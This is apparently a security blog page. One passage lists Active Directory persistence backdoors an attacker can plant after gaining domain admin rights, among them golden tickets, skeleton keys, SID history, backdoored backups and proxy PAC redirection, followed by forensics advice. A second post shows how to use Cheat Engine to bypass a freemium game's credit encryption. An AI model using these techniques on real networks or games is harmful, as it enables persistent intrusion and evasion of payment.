• Logon scripts - modify the logon scripts and add something malicious in it. Almost anything detailed in this post can be added :D
• Use an already available account, and add domain admin privileges to that. Reset its password. Mess with current group memberships - e.g. http://www.exploit-db.com/papers/17167/
• Backdoor any workstation where domain admins login. While remediating workstations, don't forget to clean the roaming profile. The type of backdoor can use different forms: malware, local admin, password (hidden admin with 500 RID), sticky keys, etc.
• Backdoor any domain controller server. For advanced attacks, see Skeleton keys 
• Backdoor files on network shares which are commonly used by domain admins by adding malware to commonly used executables - Backdoor factory
• Change ownership/permissions on AD partitions - if you have particular details on how to do this specifically, please comment
• Create a new domain user. Hide admin privileges with SID history. Easy to do, hard to detect, easy to remediate - check Mimikatz experimental for addsid
• Golden tickets - easy to do, hard to detect, medium remediation
• Silver tickets - easy to do, hard to detect, medium/hard remediation
• Backdoor workstations/servers via group policy
• HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ RunOnce,
• scheduled tasks (run task 2 years later),
• sticky-keys with debug
• Backdoor patch management tool, see slides here

[Update 2017.01.10]

• Assign SeEnableDelegationPrivilege to a user 
• Directory Service Restore Mode (DSRM)
• Malicious Security Support Provider (SSP)
• DSRMv2
• AdminSDHolder
• Edit GPO 

Other tricks

The following list does not fit in the previous "instant admin" tips, but still, it can make the attackers life easier if their primary foothold has been disabled:

• Backdoor recent backups - and when the backdoor is needed, destroy the files, so the files will be restored from the backdoored backup
• Backdoor the Exchange server - get a copy of emails
• Backdoor workstation/server golden image
• Change permission of logon scripts to allow modification later
• Place malicious symlinks to file shares, collect hashes via SMB auth tries on specified IP address, grab password hashes later
• Backdoor remote admin management e.g. HP iLO - e.g. create new user or steal current password
• Backdoor files e.g. on shares to use in SMB relay
• Backdoor source code of in-house-developed software
• Use any type of sniffed or reused passwords in new attacks, e.g. network admin, firewall admin, VPN admin, AV admin, etc.
• Change the content of the proxy pac file (change browser configuration if necessary), including special exception(s) for a chosen domain(s)  to use proxy on malicious IP. Redirect the traffic, enforce authentication, grab password hashes, ???, profit.
• Create high privileged users in applications running with high privileges, e.g. MSSQL, Tomcat, and own the machine, impersonate users, grab their credentials, etc. The typical pentest path made easy.
• Remove patches from servers, change patch policy not to install those patches.
• Steal Windows root/intermediate CA keys
• Weaken AD security by changing group policy (e.g. re-enabling LM-hashes)

Update [2015-09-27]: I found this great presentation from Jakob Heidelberg. It mentions (at least) the following techniques, it is worth to check these:

• Microsoft Local Administrator Password Solution
• Enroll virtual smart card certificates for domain admins

Forensics

If you have been chosen to remediate a network where attackers gained domain admin privileges, well, you have a lot of things to look for :)

I can recommend two tools which can help you during your investigation:

• AD explorer tool to diff AD
• NTDS forensics
• BTA (thx to Sn0rkY)

Lessons learned

But guess what, not all of these problems are solved by rebuilding the AD. One has to rebuild all the computers from scratch as well. Which seems quite impossible. When someone is creating a new AD, it is impossible not to migrate some configuration/data/files from the old domain. And whenever this happens, there is a risk that the new AD will be backdoored as well.

Ok, we are doomed, but what can we do? I recommend proper log analysis, analyze trends, and detect strange patterns in your network. Better spend money on these, than on the domain rebuild. And when you find something, do a proper incident response. And good luck!

Ps: Thanks to Andrew, EQ, and Tileo for adding new ideas to this post.

Check out the host backdooring post as well! :)

Hacking freemium games - the evolution of PC game cheating

This post is going to be a rather strange post compared to previous ones. But bear with me, in the middle of the post you will see why this post fits the IT security topic.

I'm also terribly sorry for not posting recently, but I was busy with my SPSE and SLAE certification. Both are recommended for Python and Assembly noobs like me. But back to this post.

A little bit of history

Cheating in games started as help for game testers. By using invincibility or infinite ammo testers were able to test the game quicker, which meant less money spent on testing. I personally use cheat codes in games, depending on my mood. Sometimes it feels good to slash all the opponents while I'm invincible, sometimes it is more fun to play the game without cheats. One can argue whether cheating in games is OK or not, but I believe it depends, there is no black or white. But one thing is for sure, it is part of the gaming industry. There is huge demand for cheats. There were even cheat books printed on paper...

The different types of cheats (on PC)

There are different types of cheats in PC gaming. Following is a noncomplete list of these cheats:

Cheat codes

The good old IDDQD type of cheats. These are left in the game by the developers intentionally. Nothing interesting here.

Edit memory

This is my favorite. I will talk about this at the end of the post. Whenever a user launches a new program, the program's whole memory is accessible (read/write) to every other program launched by the user. And since the memory stores the current game state (health, ammo, armor, etc.), these values can be changed easily. In the good old times, there were POKE commands to do this cheats, and the memory address to write into was published by people who found where the game stores the most critical states about the game.

Code injection

This is like patching the game code. For example, one can change the "DEC (pointer to your current health)" instruction with NOP (do nothing), thus becoming invincible. In multi-player cheats, there is the aimbot to help you aim at enemies, wallhack to see through the wall, increase hitbox of the enemy for smoother hit, or in MMORPGs, one can write macros to collect items while the player is not online. I would say the so-called "trainers" more or less fit into this category and the previous one.

Saved game editor

The first time a kid meets a hex-editor (just like the co-author of this blog did with SIM City when he was 10 years old - David). It can teach a lot about file structures, the hexadecimal numeral system, etc. Fun times. 

Hacking game server

Not very common, but even more fun. Warning: endless trolling possibilities in multi-player games ahead :) How to hack a game server? Well, I think this might deserve another full blog post ...

Network traffic hacking

One last necessary type of cheating is to modify network traffic between the client and the game server. AFAIK SSL is not universal in gaming, so stunnel is not needed for this hack, but ettercap can help in changing the communication.

Why cheating becomes more critical (and challenging)?

Now in the age of in-app-payments, the game creators are no longer thinking about cheats as funny things but something to be destroyed to the ground. Because cheating decreases its revenue. Or not. At least they think it does. To quote Wikipedia here, "cheating in such games is nonetheless a legal grey area because there are no laws against modifying software which is already owned, as detailed in the Digital Millennium Copyright Act." 

A lot of online games include anti-cheating components like PunkBuster, nProtect GameGuard, or Valve Anti-Cheat. This whole cheating/anti-cheating industry is the same as the virus/anti-virus industry. A cat and mouse game.

Freemium games

If you have not played with "freemium" games, you should watch South Park season 18, episode 6. - "Freemium Isn't Free." If you did play with freemium games, you definitely have to watch it :) There are many problems with freemium games. It is free to install, free to play. The first 3-4 hours might be fun to play. But after that, it turns out it is impossible to advance in the game without paying money for it. And by spending cash, I mean spending a LOT! Let's have a look at today's example, an arcade racing video game.

For 99.99 USD, you can get 3 000 000 credit. For almost double the price of a new PC game, you can get these credits. In this particular game, I estimate one have to play ~6-24 hours constantly to get this amount of credit. But by playing ~6 hours, I mean 6 hours without progress in the game! Kind of boring. And what do you get from 3 000 000 credit? You can buy one of the most expensive cars, but can't tune them fully. You have to play more (without progress) or buy more. But guess what, there are more cars you can't buy by only playing the game. Those are only available via in-app-purchase.

Even though the player has 58 765 533 credits, it is not possible to buy this car. Only available through real money.

So, what are your possibilities? You are either Richie Rich, and can afford the money to buy these. Or you can be insane, and try to play the game without in-app-purchase. Or give up the game and try another freemium ... Or, you can try to hack the game!

Hack all the freemium games!

Although I was not playing this racing game from day one, I was able to witness the evolution of the cheats against this game. The cheats which worked in one day was not working one month later. The game is continuously updated to defeat the newly published cheats.

Noob start

So, I want to hack this game, what is the first thing a noob like me does? Bing it! Google it! 

From the first page result, let's check this tool:

While trying to download that, I just have to give my email address to spammers, or my mobile number will be subscribed to premium rate text messages. What fun.

Another "cheat" program will install malware/adware on your computer. Never ever try these programs. They are fake 99% of the time and after installing those you will have another problem, not just how to hack freemium games.

Beginners start - Cheat engine

When I first heard about hacking games in memory, I visualized hours of OllyDBG/ImmunityDBG/(insert your favorite Windows debugger here). It turned out, there are some specialized tools to help you with cheating the game. No assembly knowledge required. My favourite tool is CheatEngine. I highly recommend to download it and spend 10 minutes to get past the built-in tutorial levels to get a feeling about this tool. It's super duper awesome.

When I first tried to hack this game myself, I scanned the memory for my actual credit and tried to change that, no luck. Keep reading, you will see what happened.

The second cheat I tried with cheat engine was something like this: 

1. Start the game, play the first level, and check how many credits is paid for winning the race. Pro tip: use dual display for full-screen game cheating.
2. Restart the same level, attach Cheat Engine to the game's process
3. Scan the memory for the same value at the beginning of the race
4. Scan the memory for the same value at the end of the game. The intersect of the first and second scan includes the real value where the credit is stored for winning the race.
5. Change the values (both the real one and some false positives) to something big
6. Watch the game to crash
7. Be amazed at the money you received

Nowadays, most of the cheats on YouTube does not work. Except for these kind of cheats. I don't want to recreate that tutorial, so you should watch it first then come back.

Are you back? Great. Do you have any idea what have you just seen? No? Well, in this case, don't try this at home. Copy-pasting assembly code from random internet posts and running on your computer is always a bad idea. It is precisely as risky as downloading free programs from random internet sites.

Although I have not seen people trolling others with this cheat engine type of shellcode, I think the time will come when these will be turned into something terrible. These shellcodes might work, or might harm your computer. The good news is, we can have a look at the code and analyze it. 

When you open CheatEngine and try to define a new custom type, you are greeted with a skeleton assembly code. I don't want to detail what all the skeleton code does, let's just focus on the difference between the skeleton code and the code used in the video. This is the "decrypt function":

xor eax, 0baadf00d
rol eax, 0e

What does it mean? The actual credit is encrypted in memory. If you want to scan it in memory, you won't be able to find it. But! The encryption is rotating the value to the right (ROR) with 0xE (14 in decimal), and after that, it is XOR-ed with 0xbaadf00d. Decrypting it is the inverse of the functions in reverse order (in this particular case, the order does not matter, but that's not the point). The inverse function of XOR is XOR, and the inverse function of ROR (rotate right) is ROL (rotate left). Now that we analyzed the assembly code, we can be sure that it is safe to execute. Just follow the video and see your coins falling from the sky. For free. In a freemium game. Have fun!

Encrypt memory - applications at financial institutions

Another exciting thing is that I don't recall any thick client applications in the financial industry encrypting the values in memory. And I agree, there are more significant problems with thick client applications than not encrypting the essential values in memory. But still, some thick client applications are regularly updated, maintained. Maybe it is a good idea to encrypt the values in memory. It will make attackers' life harder. Not impossible, but harder. Perhaps the developers of these applications should learn from the gaming industry (or from malware developers for that matter) because it is a shame that an arcade racing game or an FPS is protected better than an application responsible for transacting millions of dollars. Just think about the RAM scraping malware stealing millions of credit card data ...

Moral of the story

Cheating is part of the gaming history, and the freemium games are trying to take away the cheats from the gamers because they want money. Thanks to CheatEngine and some clever hacks, these programs can be still beaten. And guess what, there is CheatEngine for Android - although it did not work for me on the latest Android. And sometimes, hacking all kinds of applications can be more comfortable with CheatEngine, compared to traditional debuggers.

Also, always check the code before executing it! And when you find something cool, publish it, so everyone could enjoy the games!